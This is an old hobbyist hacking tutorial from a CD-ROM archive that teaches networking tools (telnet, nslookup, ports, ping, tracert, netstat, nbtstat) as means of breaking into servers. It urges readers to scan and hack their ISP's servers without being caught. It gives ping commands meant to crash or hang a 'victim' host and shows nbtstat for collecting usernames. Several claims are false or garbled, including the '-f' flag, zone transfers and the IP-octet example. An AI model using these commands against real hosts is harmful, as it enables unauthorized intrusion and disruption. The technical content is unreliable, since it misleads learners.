home *** CD-ROM | disk | FTP | other *** search
/ Hackers Matrix / Hacker's Matrix (nCite Software) (2003).iso / Tutorials / hTut_0155.txt < prev    next >
Text File  |  2002-12-13  |  181KB  |  4,529 lines

  1. ____________________________________________________________________
  2.  
  3. The Hacking Truths Manual----Net Tools The 2nd Edition
  4. By Ankit Fadia ankit@bol.net.in
  5. ____________________________________________________________________
  6.  
  7. Now that you know how to control the working of the Windows operating system
  8. lets go on to the basics of
  9. using Internet tools which are really really useful for hacking.
  10. Well to tell you the truth, Hacking would be much more easy if you were 
  11. running
  12. some sort of Unix on your
  13. machine or if you had a shell account. I am writing this guide keeping in 
  14. mind
  15. the Newbies who are probably
  16. stuck with Windows and I am pretty much sure that all those of you who are 
  17. Linux
  18. Geeks will have no
  19. problem in figuring out doing the sam ething in Linux.
  20. There is a common belief amonst people that Windoze is very insecure and it
  21. sucks but then on the other
  22. hand Red Hat too is not so great in the security sphere. There are nearly 50
  23. known exploits to get root on a
  24. Linux box. The reason why hackers have found so many holes or bugs in 
  25. Windows is
  26. due to the fact the
  27. Windows is the most widely used OS in the world and the largest number of
  28. Hackers have access to
  29. Windows and the largest number of people have a go at Windoze's Security. 
  30. The
  31. only thing that is in support
  32. of Linux is the fact that it is free and the concept of Open Source and 
  33. well,
  34. performance. What I want to say
  35. is that Linux's performance may be better but I do not agree to what all 
  36. people
  37. say about the low Windoze
  38. security.So what I think is that there is nothing wrong in Using a Windoze 
  39. box
  40. for Hacking. Yes Linux does
  41. provide you access to some kewl hacking tools from the various shells but 
  42. for
  43. Windows there are many third
  44. party freebies that allow you to do the same thing. Linux does make hacking
  45. easier but there is nothing
  46. wrong in using Windows for Hacking.But for all those of you who think other 
  47. wise
  48. you can and if your ISP
  49. does not give shell account you can use your Dial Up PPP account to login 
  50. into a
  51. third party shell acount.To
  52. get a free shell account goto www.cyberarmy.com or www.hobbiton.org  Their
  53. service is pretty good.
  54.  
  55. Telnet
  56.  
  57. Telnet is the ultimate hacking tool which every hacker must know how to use
  58. before he can even think about
  59. Hacking into servers. Telnet is better described as a protocol which 
  60. requires or
  61. runs on TCP\IP.
  62.  
  63. It can be used to connect to remote computers and to run command line 
  64. programs
  65. by simply typing
  66. commands into it's GUI window. Telnet does not use the resources of the 
  67. client's
  68. computer but uses the
  69. resources of the server to which the client has connected. Basically it is a
  70. terminal emulation program that
  71. allows us to connect to remote computers. It is found at 
  72. c:\windows\telnet.exe
  73. in Win9x systems and
  74. c:\winnt\system32\telnet.exe in NT machines.
  75. If the Path statement in your machine is set correctly then if you just type
  76. Telnet at the DOS prompt then it
  77. will bring a GUI Windows which actually is the Telnet program.
  78.  
  79. How do I connect to remote computers using telnet?
  80.  
  81. Well it is really simple to connect to remote computers using telnet.Well 
  82. first
  83. launch the telnet application by
  84. typing telnet at the DOS prompt. Once the Telnet windows pops up click on
  85. Connect>Remote System then in the host name type the host i.e the remote
  86. computer you want to connect
  87. to. Then in the Port select the port you want to connect to in this case 
  88. leave
  89. it to Telnet. Almost always leave
  90. the TermType to vt100.
  91.  
  92. ***********************
  93. Hacking Tip: You may be wondering what the Term Type stands for. Well 
  94. actually
  95. it represents various kinds
  96. of display units. We use vt100 as it is compatible with most monitors.
  97. **********************
  98. Then click connect and you will be connected to the remote machine.
  99. Now if you are a newbie you would be using the above method of telnetting to 
  100. a
  101. remote computer and you
  102. would not be port surfing. Well if you really want to leanr to hack, port
  103. surfing is a must as without learning to
  104. port surf you will not be able to find out
  105.  
  106. The basic syntax of the telnet command is
  107.  
  108. C:\>telnet hostname.com
  109.  
  110. Now let's go through this syntax, the word telnet is followed by the host 
  111. name
  112. or the IP address of the host
  113. you want to connect to which is then followed by the port on the remote 
  114. computer
  115. you want to connect to.If
  116. you are confused by the new terms read on and things will become clearer.
  117.  
  118. What exactly is an IP Address?
  119.  
  120. Like in the real world, everyone has got an individual Home Address or 
  121. telephone
  122. number so that, that
  123. particular individual can be contacted on that number or address, similiarly 
  124. all
  125. computers connected to the
  126. Internet are given a unique Internet Protocol or IP address which can be 
  127. used to
  128. contact that particular
  129. computer. In geek language an IP address would be a decimal notation that
  130. divides the 32 bit Internet
  131. addresses (IP) into four 8 bit fields.
  132.  
  133. Does the IP address give me some information or do the numbers stand for
  134. anything?
  135. Let take the example of the following IP address: 202.144.49.110
  136. Now the first part , the numbers before the first decimal i.e 209 is the 
  137. Network
  138. number or the Network
  139. Prefix.. This means that it identifies the number of the network in which 
  140. the
  141. host is.
  142. The second part i.e. 144 is the Host Number, that is it identifies the 
  143. number of
  144. the host within the Network.
  145. This means that in the same Network, the network number is same.
  146. In order to provide flexibilty in the size of the Network ,there are 
  147. different
  148. classes of IP addresses:
  149.  
  150. Address Class               Dotted Decimal Notation Ranges
  151. Class A ( /8 Prefixes)         1.xxx.xxx.xxx through 126.xxx.xxx.xxx
  152. Class B ( /16 Prefixes)        128.0.xxx.xxx through 191.255.xxx.xxx
  153. Class C ( /24 Prefixes)        192.0.0.xxx through 223.255.255.xxx
  154.  
  155. The various classes will be more clear after reading the next few lines.
  156.  
  157. Each Class A Network Address contains a 8 bit Network Prefix followed by a 
  158. 24
  159. bit host number.They are
  160. considered to be primitive.They are referred to as "/8''s" or just "8's" as 
  161. they
  162. have a 8 bit Network prefix.
  163. In a Class B Network Address there is a 16 bit Network Prefix followed by a 
  164. 16
  165. bit Host number. It is reffered
  166. to as "16's".
  167. A class C Network address conatins a 24 bit Network Prefix and a 8 bit Host
  168. number. It is refered to as
  169. "24's" and is commonly used by most ISP's.
  170.  
  171. Due to the growing size of the Internet the Network Administrators faced 
  172. many
  173. problems. The Internet
  174. routing tables were beginning to grow and now the administrators had to 
  175. request
  176. another network number
  177. from the Internet before a new network could be installed at their site.
  178. This is where subnetting caame in. Now if your ISP is a big one and if it
  179. provides you with dynamic IP
  180. addresses then you will most probably see that whenever you log on to the 
  181. net,
  182. your IP address will have
  183. the same first 24 bits and only the last 8 bits will keep changing. This is 
  184. due
  185. to the fact that when subnetting
  186. comes in then the IP Addresses structure becomes:
  187.  
  188. xxx.xxx.zzz.yyy
  189.  
  190. where the first 2 parts are Network Prefix numbers and the zzz is the Subnet
  191. number and the yyy is the host
  192. number. So you are always connected to the same Subnet within the same 
  193. Network.
  194. As a result the first 3 parts will remain same and only the last part i.e. 
  195. yyy
  196. is variable.
  197. You may be wondering, what happeded to 127 as after 126.xxx.xxx.xxx there is
  198. straightaway 128.0.xxx.xxx.
  199.  
  200. Well 127.0.0.1 is reserved for the loopback function, this means that it 
  201. refers
  202. to the localhost, this means
  203. that if you try to telnet to 127.0.0.1 , then the Telnet client will try to
  204. connect to your own computer.
  205.  
  206. IP addresses can be of to types Dynamic and Static.
  207. Now most of us connect to the Internet by dialing into our ISP through Dial 
  208. up
  209. Networking and using PPP(
  210. Point to Point Protocol). Now when you connect to your ISP's server you are
  211. assigned a unique IP number
  212. which is then used to transfer data to and from your computer. That becomes 
  213. your
  214. address. Now the IP
  215. address that you are assigned changes everytime your connect to your ISP 
  216. i.e.
  217. you are assigned a new
  218. different IP every time you dial into your ISP, that is how it becomes
  219. Dynamic.This means that if you have
  220. obtained the IP address of a person once, then if he disconnects and 
  221. reconnects
  222. then you will have to get
  223. his IP address again.
  224. While other ISP's provide you with a permanent IP address as soon as you
  225. register with them. In that case
  226. your IP remains the same every time you connect to their server and is thus
  227. known as a permanent IP
  228. address.
  229.  
  230. *******************
  231. Hacking Tip: You can find out if an IP address is a Dynamic or Static by 
  232. issuing
  233. the ultimate mapping tool on
  234. the net: nslookup.Give the following command : nslookup hostname where 
  235. hostname
  236. is substituted by an IP
  237. address and if the result is Non-Existant Host/ Domain then the IP is a 
  238. Dynamic
  239. one. If it return the
  240. hostname which is human understandable then you can be pretty sure that the 
  241. IP
  242. address is a static one.
  243. For more information on DNS lookup and nslookup read on.
  244. ******************
  245.  
  246. Now IP addresses are very difficult to remember, who can memorize IP 
  247. addresses
  248. of all the computers he
  249. wants to connect to or the sites he wants to visit.Say for example I am sure 
  250. you
  251. would find hotmail.com
  252. more easier to remember than something like 203.43.54.12. Here comes in DNS 
  253. or
  254. Domain Name
  255. Systems.Read on for more info on DNS.
  256.  
  257. DNS
  258.  
  259. A DNS is basically a resource for converting friendly Hostnames (like,
  260. hotmail.com)which humans can easily
  261. understand, into IP addresses which machines need to communicate to the host
  262. i.e. hotmail.com
  263. Now what basically happens in that when you type www.hotmail.com in the 
  264. location
  265. bar of your browser, the
  266. browser needs to perform a lookup to find the machine readable IP address so
  267. that it can communicate with
  268. the host.This means that the browser cannot communicate with a host if it 
  269. has
  270. the friendly hostname only.
  271. Without the IP address, no communication can take place. So for the lookup, 
  272. the
  273. browser contacts the DNS
  274. server setup by normally by your ISP and through the resolver tries to look 
  275. for
  276. the IP conversion of the
  277. hostname the user wants to contact.
  278.  
  279. A DNS server is basically a server running DNS software.The server that the
  280. browser first looks for a
  281. translation is the Primary DNS server, if this primary server doesn't show 
  282. any
  283. match then this server
  284. contacts another DNS server somewhere on the Internet (This becomes the 
  285. Secondry
  286. DNS Server.)and
  287. looks for a match. If a match is found in the secondry server then the 
  288. Primary
  289. server updates it's database
  290. so that it doesn't have to contact the Secondry server again for the same 
  291. match.
  292. Each DNS server stores
  293. the hosts it has recently looked for in it's cache. Now if the Server has
  294. recently looked for a particular
  295. hostname, then it does not search for it again but just provides the browser
  296. with that information from it's
  297. cache. If the cache does not contain a particular entry, then the resolver 
  298. looks
  299. for the desired entry by
  300. searching through the entire database.
  301.  
  302. New techologies are being introduced in the DNS sphere. Now take the case of
  303. amazon.com. It is a famous
  304. and large E-company with over a million users per day.(My rough estimate.) 
  305. Such
  306. large organizations have
  307. multiple IP addresses for the same domain name. Today what happens is that 
  308. the
  309. DNS server returns all IP
  310. Addresses and the browser chooses a random IP from it. But this new 
  311. technolofy
  312. will allow the DNS server
  313. to return the IP of the server which has the least trafiic, so as to enhanse
  314. surfing. So you can see DNS does
  315. make sense.
  316.  
  317. You can see how time consuming the above process can be and it can really 
  318. slow
  319. down your surfing
  320. process, a lot of time is being wasted when the browser contacts the DNS 
  321. server
  322. and performs a lookup, so
  323. how do you fasten this process? How do you eliminate the fact that the 
  324. browser
  325. will contact the DNS server
  326. each time you want to visit a site? Well the answer lies in the HOSTS file
  327. hidden in the c:\windows directory.
  328.  
  329. You can map a machine's IP to any hostname by editing the c:\windows\hosts
  330. file(It has no extension.)on
  331. win 9.x systems, On NT the hosts file is c:\WinNT\system32\drivers\etc\hosts 
  332. and
  333. on Linux it is /etc/hosts.
  334. A hosts file looks something like the below:
  335.  
  336. ###############################
  337. # Copyright (c) 1998 Microsoft Corp.
  338. #
  339. # This is a sample HOSTS file used by Microsoft TCP/IP stack for Windows98
  340. #
  341. # This file contains the mappings of IP addresses to host names. Each
  342. # entry should be kept on an individual line. The IP address should
  343. # be placed in the first column followed by the corresponding host name.
  344. # The IP address and the host name should be separated by at least one
  345. # space.
  346. #
  347. # Additionally, comments (such as these) may be inserted on individual
  348. # lines or following the machine name denoted by a '#' symbol.
  349. #
  350. # For example:
  351. #
  352. # 102.54.xx.97 rhino.acme.com # source server
  353. # 38.25.63.10 x.acme.com # x client host
  354. 1. localhost
  355. #####################################
  356.  
  357. For example, if you know that the IP address of say hotmail.com is
  358. 207.xxx.xxx.xxx., then if you add the
  359. following in the Hosts file then the browser will not perform a lookup and 
  360. will
  361. starighaway have the IP to
  362. communicate with the host. So add the line:
  363.  
  364. 207.xxx.xxx.xxx www.hotmail.com
  365.  
  366. Now your browser will connect faster to Hotmail.com. This technique can 
  367. increase
  368. your surfing speed
  369. tremendously.So now that you know what a DNS is...let get on to the subject 
  370. of
  371. DNS lookup and Reverse
  372. DNS lookup.
  373.  
  374. Now Linux or any other form of Unix come with a very interesting utility 
  375. known
  376. as nslookup. This can be
  377. used to gather some very valueable information about a host. For details as 
  378. to
  379. how to use this tool to gather
  380. information read the man pages. Windows users can download SamSpade from
  381. www.samspade.org to
  382. perform a nslookup.
  383.  
  384. Just as DNS lookup converts the hostname into IP address, a Reverse DNS 
  385. Lookup
  386. converts the IP address
  387. of a host to the hostname thus we can conclude that a DNS lookup return 
  388. machine
  389. readable IP addresses
  390. and a reverse DNS Lookup returns the human friendly hostname.
  391.  
  392. ****************************
  393. INFO: The DNS software normally runs on Port 53 of a host. So the browser
  394. connects to port 53 to perfom a
  395. DNS lookup.
  396. ***************************
  397.  
  398. NslookUp
  399.  
  400. So how can you use nslookup to gain some valuable information about a host? 
  401. Well
  402. the best way to learn
  403. about a particular Unix command is to read the man pages.They are the 
  404. ultimate
  405. source of all Unix
  406. commands and their parameters.
  407. Now the first thing to do is, either get SamSpade from www.samspade.org or 
  408. if
  409. you are using a shell account
  410. or are running any form of Unix then locate where the nslookup command is 
  411. hidden
  412. by issuing the following
  413. command: ' whereis nslookup '.
  414. I am just giving you a general introduction to nslookup, to meanr about all
  415. Resource records or query types
  416. do read through the Man pages.
  417. You can use nslookup in two modes, either in the interactive mode or in the 
  418. non
  419. interactive mode.First I will
  420. explain the Interactive mode. If you type nslookup at the shell prompt then 
  421. it
  422. launches say, the nslookup
  423. utility or the nslookup command.
  424.  
  425. $>/usr/etc/nslookup
  426. Default Server: hobbiton.org
  427. Address: 12.12.12.12
  428.  
  429. Now when you type just nslookup, the machine will return the IP address and 
  430. the
  431. name of the server which
  432. is running the nslookup command for you,in this case it would be my shell
  433. account provider.
  434. Now once launching nslookup you need to specify the query type, which is the
  435. type of Resource Record
  436. (RR) by typing:
  437.  
  438. set type: RR
  439.  
  440. where RR can be any of the following:
  441.  
  442. A : Address
  443. MX : Mail Exchanger
  444. PTR : Pointer
  445. CNAME: Canonical Name
  446. HINFO: Host Info.
  447. ANY : In this case a zone transfer takes place and all information of the 
  448. host
  449. is returned, as a result
  450. additional burden is put on the host and hence may cause the host to hang or
  451. restart.
  452.  
  453. NOTE: To get full list of RR's read the man pages.
  454.  
  455. Now once the RR or the type has been set, you need to type in the host name 
  456. or
  457. the IP of the server you
  458. want to gather info of.
  459. This might not be that clear, so let me take you through an example.
  460.  
  461. Firstly for this example I am using my Linux box and am not logged on to any
  462. shell account so my IP would
  463. be 127.0.0.1 and am doing a A type nslookup on the host hotmail.com
  464.  
  465. $>nslookup
  466. Server: localhost
  467. Address: 127.0.0.1
  468.  
  469. >set type=A
  470. >hotmail.com
  471. Server: localhost
  472. Address: 127.0.0.1
  473.  
  474. Note: I have typed whatever is after > and other lines are written by the
  475. computer.
  476.  
  477. This will return the address info of the host hotmail.com. Do try it out and 
  478. see
  479. what you get.
  480. Now if we want to run nslookup in Non Interactive Mode, then we have to 
  481. write
  482. the command in the following
  483. format:
  484.  
  485. $>nslookup Hostname
  486.  
  487. Now in all the above examples, we did a normal DNS lookup on the host. We 
  488. can
  489. also use nslookup to
  490. perform a reverse DNS lookup by instead of mentioning the Hostname, by
  491. mentioning the IP of the host.
  492. Eg.
  493.  
  494. $>nslookup IP address
  495.  
  496. Now that you have understood the whole concept of DNS you know what happens 
  497. when
  498. we issue the /dns
  499. command in IRC.
  500. There is yet another Unix utility or command called DIG or Domain 
  501. Information
  502. Groper which too like
  503. nslookup gives info on the host. It too is a part of SamSpade.
  504.  
  505. Ports
  506.  
  507. Now that you no what an IP is and what DNS or the hostname is, lets move on 
  508. to
  509. Ports.
  510. There are basically two kinds of ports--Physical(HardWare) and Virtual
  511. (Software) You may be knowing
  512. ports to be the slots behind your CPU to which you connect your Mouse or
  513. Keyboard or your monitor. Well
  514. they are physical Hardware real ports.The ports we Hackers are interested 
  515. with
  516. are virtual software ports.A
  517. port is a virtual pipe through which information goes in and out. A 
  518. particular
  519. computer can have a large
  520. number of ports. All ports are numbered.
  521. Now at each port a particular service is running. A software which runs on a
  522. port is called a service. So how
  523. do you know which service is running on which port. Well all ports are 
  524. numbered
  525. and there is a general rule
  526. which almost everyone follows which decides which service usually runs at 
  527. which
  528. port.
  529. Some popular ports and services running are:
  530.  
  531. Ping 7
  532. Systat 11
  533. Time 13
  534. NetStat 15
  535. SSH 22 (This is same as Secure Shell Login)
  536. Telnet 23
  537. SMTP 25
  538. Whois 43
  539. Finger 79
  540. HTTP 80
  541. POP 110
  542. NNTP 119
  543. rlogin 513 (IP Spoofing can be used here.)
  544.  
  545. To get an entire list of port numbers and the corressponding service running 
  546. at
  547. that particular port, read RFC
  548. 1700 .
  549.  
  550. Ports under 1024 usually have popular well known services running on them. 
  551. The
  552. higher port numbers are
  553. used say, when your browser needs to connect to a remote server maybe when 
  554. the
  555. browser connects to
  556. port 80 of the remote server and requests for the default webpage. So in 
  557. these
  558. cases the browser chooses a
  559. random port above 1024.
  560.  
  561. ************
  562. Newbie Note: What the hell is a RFC? Well RFC stands for Request For 
  563. Comment.
  564. They are texts which
  565. cover each and every aspect of Networking and the Internet. They are written 
  566. by
  567. geeks and if you want to
  568. become an uberhacker then you will have to by hear all RFC's. All these new
  569. terms and the whole TCP\IP
  570. protocol may sound weird and difficult to grasp but if you want to be a good
  571. hacker then you will have to stay
  572. with them the rest of your lives.To locate a RFC just go to your fav search
  573. engine and type the RFC number.
  574. *************
  575.  
  576. *************
  577. NewBie Note:
  578. What is a Daemon?
  579. Well a daemon is a program that runs in the background at many Unix ports. 
  580. If
  581. you find a service or a
  582. daemon running at a port, I am sure that computer is hackable.
  583. *************
  584.  
  585. Port Scanning & Port Surfing
  586.  
  587. Now that you know everything about Telnet and have some basic Networking
  588. knowledge lets have some fun
  589. by learning to Port Surf. It is the first basic step in finding a hackable
  590. server running a daemon with a hole or
  591. a vulnerability.
  592.  
  593. Say you want to hack into your ISP's server, what do you do? You firstly 
  594. find
  595. out the hostnames of the
  596. servers runned by your ISP. Now each server can have a large umber of open 
  597. ports
  598. and it would take days
  599. to manually go to each port and then find out that no service is running at 
  600. that
  601. port. So here come in the Port
  602. Scanning Utilities which give a list of open ports on a server. Some port
  603. scanners alongwith the list of open
  604. ports also gives the services running on each port and it's vulnerabilties, 
  605. if
  606. any.
  607.  
  608. Now port scanning takes advantage the 3-stage TCP handshake to determine 
  609. what
  610. ports are open on the
  611. remote computer. To learn more about the TCP\IP protocol read the networking
  612. manuals that I distribute on
  613. my mailing list.
  614.  
  615. Tools like SATAN and lots of them more allow you to find out the list of 
  616. open
  617. ports, the daemon or the
  618. service running at each open port and also the service's vulnerability at 
  619. the
  620. click of a button. You can't call
  621. yourself a hacker if you need some Software which first of all is not 
  622. written by
  623. you to do something as lame
  624. as a port scan. Well yes I do agree that looking for open ports on a server
  625. would take a long time. But what I
  626. am suggesting is that you use a Port scanning tool which just gives you a 
  627. list
  628. of open ports without the list of
  629. services and the vulnerabilities.
  630. I assure you, if you try and explore an open port of a remote server 
  631. manually,
  632. you will be able to learn more
  633. about the remote system and also it will give you a taste of what hacking
  634. actually is.
  635. If you use a port scanner which gives you all details at the click of a 
  636. button
  637. to impres your friends, let me
  638. assure you none of them will be impressed as I am sure anyone can use SATAN 
  639. and
  640. other such scanners.
  641.  
  642. Another thing you need to be careful about before port scanning your ISP is 
  643. that
  644. most port scanners are
  645. very easily detected and can easily be traced and you have no excuse if you 
  646. are
  647. caught doing a port scan
  648. on a host., it a sure sign of Hacker Activity.There are many stealth 
  649. scanners
  650. like Nmap which claim to be
  651. untraceable. But the truth is that they are very much traceable and they are
  652. quite inaccurate as they send
  653. only a single packet to check if a port is open or not. And if the host is
  654. running the right kind of Sniffer
  655. software maybe Etherpeek then the Port scan can be easily detected and the 
  656. IP of
  657. the user logged. Anyway
  658. some ISP's are really afraid of Hacking activites and even at the slightest 
  659. hint
  660. of some suspicious hacking
  661. activity something like Port scannng, they can remove your account.So just 
  662. be
  663. careful.
  664.  
  665. ************
  666. Evil Hacking Trick: Well try to keep an eye on TCP port 12345, and UDP port
  667. 31337 these are the default
  668. ports for the popular trojans NetBus and BO, respectively
  669. *************
  670.  
  671. Some ISP's are quite aware of Hacking Activites and are one step ahead. They 
  672. may
  673. be running some
  674. excellent software which will keep hackers away. EtherPeek is an excellent
  675. example of a sniffing software
  676. which can easily trace users who are port scanning. Nuke Nabber a Windows
  677. freeware claims to be able to
  678. block Port Scans. I have not tested it so I can't say for sure. Then there 
  679. is
  680. another fun program known as
  681. Port Dumper which can fake daemon( services) like Telnet, Finger etc.
  682.  
  683. How can I find out my own IP address and what ports are open on my machine?
  684.  
  685. All this talk about IP's and ports may have made you quite interested in 
  686. this
  687. subect and you may be dying to
  688. find out a method of finding out open ports on your machine and your own IP
  689. address.
  690. Well just type the following at the DOS prompt (Windows users) or the bash
  691. prompt (Unix users):
  692. netstat -a
  693.  
  694. This will return something like the following:
  695.  
  696. C:\WINDOWSnetstat -a
  697.  
  698. Active Connections
  699.  
  700.   Proto  Local Address          Foreign Address        State
  701.   TCP    ankit-s-hax-box:1030   0.0.0.0:0              LISTENING
  702.   TCP    ankit-s-hax-box:1033   0.0.0.0:0              LISTENING
  703.   TCP    ankit-s-hax-box:1027   0.0.0.0:0              LISTENING
  704.   TCP    ankit-s-hax-box:1030   mail2.mtnl.net.in:pop3  ESTABLISHED
  705.   TCP    ankit-s-hax-box:1033   zztop.boxnetwork.net:80  CLOSE_WAIT
  706.   TCP    ankit-s-hax-box:137    0.0.0.0:0              LISTENING
  707.   TCP    ankit-s-hax-box:138    0.0.0.0:0              LISTENING
  708.   TCP    ankit-s-hax-box:nbsession  0.0.0.0:0              LISTENING
  709.   UDP    ankit-s-hax-box:1027   *:*
  710.   UDP    ankit-s-hax-box:nbname  *:*
  711.   UDP    ankit-s-hax-box:nbdatagram  *:*
  712.  
  713.  
  714. Sockets and Ports Explained
  715.  
  716. Note: I am assuming that you have at least some knowledge about TCP\IP.
  717.  
  718. What is all the hype about socket programming? What exactly are sockets? 
  719. TCP\IP or Transmission Control Protocol\ Internet Protocol is the language or the protocol used by computers to communicate with each other over the Internet. Say a computer whose IP address is 99.99.99.99 
  720. wants to
  721. communicate with
  722. another machine whose IP address is 98.98.98.98 then would will happen?
  723. The machine whose IP is 99.99.99.99 sends a packet addressed to another 
  724. machine
  725. whose IP is
  726. 98.98.98.98. When 98.98.98.98 receives the packet then it verifies that it 
  727. got
  728. the message by sending a
  729. signal back to 99.99.99.99.
  730. But say the person who is using 99.99.99.99 wants to have simunateously more
  731. than one connections to
  732. 98.98.98.98.....then what will happen? Say 99.99.99.99 wants to connect to 
  733. the
  734. FTP daemon and download
  735. a file by FTP and at the same time it wants to conect to 98.98.98.98's 
  736. website
  737. i.e. connect to HTTP daemon.
  738. Then 98.98.98.98. will have 2 connects with 99.99.99.99 simountaneously.Now 
  739. how
  740. can 98.98.98.98.
  741. distinguish between the two connections...how does 98.98.98.98. know which 
  742. is
  743. for the FTP daemon and
  744. which for the HTTP daemon? If there was no way to distinguish between the 
  745. two
  746. connections then they
  747. would both get mixed up and there would be a lot of chaos with the message 
  748. meant
  749. for the HTTP daemon
  750. going to the FTP daemon. To avoid such confusion we have ports. At each 
  751. port a
  752. particular service or
  753. daemon is running by default. So now that the 99.99.99.99 computers knows 
  754. which
  755. port to connect to, to
  756. download a FTP file and which port to connect to, to download the web page, 
  757. it
  758. will communicate with the
  759. 98.98.98.98 machine using what is known as the socket pair which is a
  760. combination of an IP address and a
  761. Port. So in the above case the message which is meant for the FTP daemon 
  762. will be
  763. addressed to
  764. 98.98.98.98 : 21 (Notice the colon and the default FTP port suceeding it.). 
  765. So
  766. that the receiving machine i.e.
  767. 98.98.98.98 will know for which service this message is meant for and to 
  768. which
  769. port it should be directed to.
  770. In TCP\IP or over the Internet all communication is done using the Socket 
  771. pair
  772. i.e. the combination of the IP
  773. address and the port.
  774.  
  775. DOS Hacking utilities shipping with Windows and Linux Utilities too
  776.  
  777. Most Hacker Friendly utilities that ship with Windoze are hidden and a 
  778. normal
  779. user will not be able to find
  780. them.All of them are either in the c:\windows directory or are in the 
  781. Windows
  782. Installation CD.
  783.  
  784. PING
  785.  
  786. Now lets start with what exactly Ping is. Now Ping is a part of the ICMP
  787. protocol i.e the Internet Control
  788. Message Protocol. ICMP is a protocol used to troubleshoot TCP\IP networks. 
  789. Ping
  790. is a command which
  791. sends out a datagram to the specified host. This specified host if alive 
  792. i.e.
  793. turned on sends out a reply or
  794. echos off the same Datagram. If the datagram that reaches back to your 
  795. computer
  796. has the same datagram
  797. that was sent then it means that the host is alive. So Ping is basically a
  798. command which allows you to check
  799. if a host is alive or not. It can also be used to calculate the amount of 
  800. time
  801. taken for a datagram to reach the
  802. host. It is so deadly that it can be used to ping a hostname perpetually 
  803. which
  804. may even cause the host to
  805. crash. Now what happens is that when a host receives a Ping signal, it 
  806. allocates
  807. some of it's resources to
  808. attend to or to echo back the datagram. Now if you Ping a host perpetually, 
  809. then
  810. a time will come when all
  811. resources of the host are used and the host either hangs or restarts.
  812. Due to Ping's deadly nature, most shell account ISP's hide the Ping utility. 
  813. To
  814. find it issue the folowing
  815. command:
  816.  
  817. whereis ping
  818.  
  819. It is usually hidden in /usr/etc
  820.  
  821. Ping has many parameters and a list of parameters can be found by reading 
  822. the
  823. man pages or if you are
  824. running Windows you can get help by simply typing ping at the DOS prompt.
  825.  
  826. The flood ping which pings a host perpetually is:
  827.  
  828. ping -f hostname
  829.  
  830. ping -a hostname can be used to resolve addresses to hostnames.
  831.  
  832. When I typed ping at the dos prompt I go the following help:
  833.  
  834. C:\WINDOWS>ping
  835. Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
  836. [-r count] [-s count] [[-j host-list] | [-k host-list]]
  837. [-w timeout] destination-list
  838. Options:
  839. -t Ping the specifed host until stopped.
  840. To see statistics and continue - type Control-Break;
  841. To stop - type Control-C.
  842. -a Resolve addresses to hostnames.
  843. -n count Number of echo requests to send.
  844. -l size Send buffer size.
  845. -f Set Don't Fragment flag in packet.
  846. -i TTL Time To Live.
  847. -v TOS Type Of Service.
  848. -r count Record route for count hops.
  849. -s count Timestamp for count hops.
  850. -j host-list Loose source route along host-list.
  851. -k host-list Strict source route along host-list.
  852. -w timeout Timeout in milliseconds to wait for each reply.
  853.  
  854. You can even Ping yourself. Earlier I had told you guys that the IP 
  855. 127.0.0.1 is
  856. the local host, this means
  857. that when you connect to 127.0.0.1 then you actually connect to your own
  858. machine.
  859. So to ping yourself perpetually , issue the following command:
  860.  
  861. ping -f 127.0.0.1
  862.  
  863. Well actually the Flood ping no longer works on most OS's as they have be
  864. updated.
  865.  
  866. The following Ping command creates a giant datagram of the size 65510 for 
  867. Ping.
  868. It might hang the victim's
  869. computer.
  870. C:\windows>ping -l 65510
  871.  
  872. Tracert
  873.  
  874. When you type hotmail.com in your browser, then your request passes through 
  875. a
  876. large number of
  877. Computers before reaching hotmail.com. Or when you login to your Shell 
  878. account
  879. and type the password
  880. then this password passes through a large number of computers before 
  881. reaching
  882. the shell account server.
  883.  
  884. To find out the list of servers your password of the request passes through, 
  885. you
  886. can use the tracert
  887. command. In Unix you can use the traceroute command. Again I got help by 
  888. simply
  889. typing tracert at the
  890. DOS prompt.
  891.  
  892. C:\WINDOWS>tracert
  893. Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] 
  894. target_name
  895. Options:
  896. -d Do not resolve addresses to hostnames.
  897. -h maximum_hops Maximum number of hops to search for target.
  898. -j host-list Loose source route along host-list.
  899. -w timeout Wait timeout milliseconds for each reply.
  900.  
  901. Lets take an example of tracing the path taken by a datagram to reach
  902. hotmail.com from your machine.
  903. To do this simply type the following command:
  904. C:\windows>tracert hotmail.com
  905.  
  906.  
  907. Instead of Hotmail.com you can also write the IP address of Hotmail.com 
  908. which
  909. you can get by doing an
  910. nslookup. Try tracert with different parameters and see what the result is. 
  911. That
  912. is the best way to learn how
  913. this command works.
  914.  
  915. Netstat
  916.  
  917. This is by far the most interesting hacking tool which gives some important
  918. information about your ISP.
  919. Netstat soesn't display any help information unless you type netstat /?. I 
  920. got
  921. the following info:
  922.  
  923. C:\WINDOWS>netstat /?
  924. Displays protocol statistics and current TCP/IP network connections.
  925. NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
  926. -a Displays all connections and listening ports.
  927. -e Displays Ethernet statistics. This may be combined with the -s
  928. option.
  929. -n Displays addresses and port numbers in numerical form.
  930. -p proto Shows connections for the protocol specified by proto; proto
  931. may be TCP or UDP. If used with the -s option to display
  932. per-protocol statistics, proto may be TCP, UDP, or IP.
  933. -r Displays the routing table.
  934. -s Displays per-protocol statistics. By default, statistics are
  935. shown for TCP, UDP and IP; the -p option may be used to specify
  936. a subset of the default.
  937. interval Redisplays selected statistics, pausing interval seconds
  938. between each display. Press CTRL+C to stop redisplaying
  939. statistics. If omitted, netstat will print the current
  940. configuration information once.
  941.  
  942. The -a parameter can be used to list the open ports on your computer and 
  943. your IP
  944. address. I have explained
  945. it in the IP address section. For example,
  946.  
  947. C:\windows>netstat -a
  948.  
  949. Will display the Kernal Routing Information, ports open on your machine, 
  950. your
  951. IP, the IP of the host you are
  952. connected to and also the port of the host to which you are connected to.
  953. If you are logged into your shell account and give the netstat command then 
  954. it
  955. may give the IP addresses of
  956. all people who are logged into that server at that moment. All these IP's 
  957. are
  958. Dynamic of course.
  959.  
  960. Another intersting command is the nbtstat command which too is a great tool 
  961. to
  962. get excellent valuable info
  963. on a host your are connected to. For more info type nbtstat at the prompt.
  964.  
  965. C:\windows>nbtstat -A <host>
  966.  
  967. The above-mentioned command will allow the hacker to obtain a list of 
  968. usernames,
  969. system names, and
  970. domains.I will mention maore about this command in the Hacking Truths Manual 
  971. on
  972. File Sharing.
  973. Arp and Route are really advanced comamnds which I do not think should be
  974. mentioned in a newbies
  975. manual. But all of you who want more info on any of these commands can 
  976. either
  977. try simply typing the name
  978. of the command or the command name followed by /?
  979. Eg
  980. Command /?
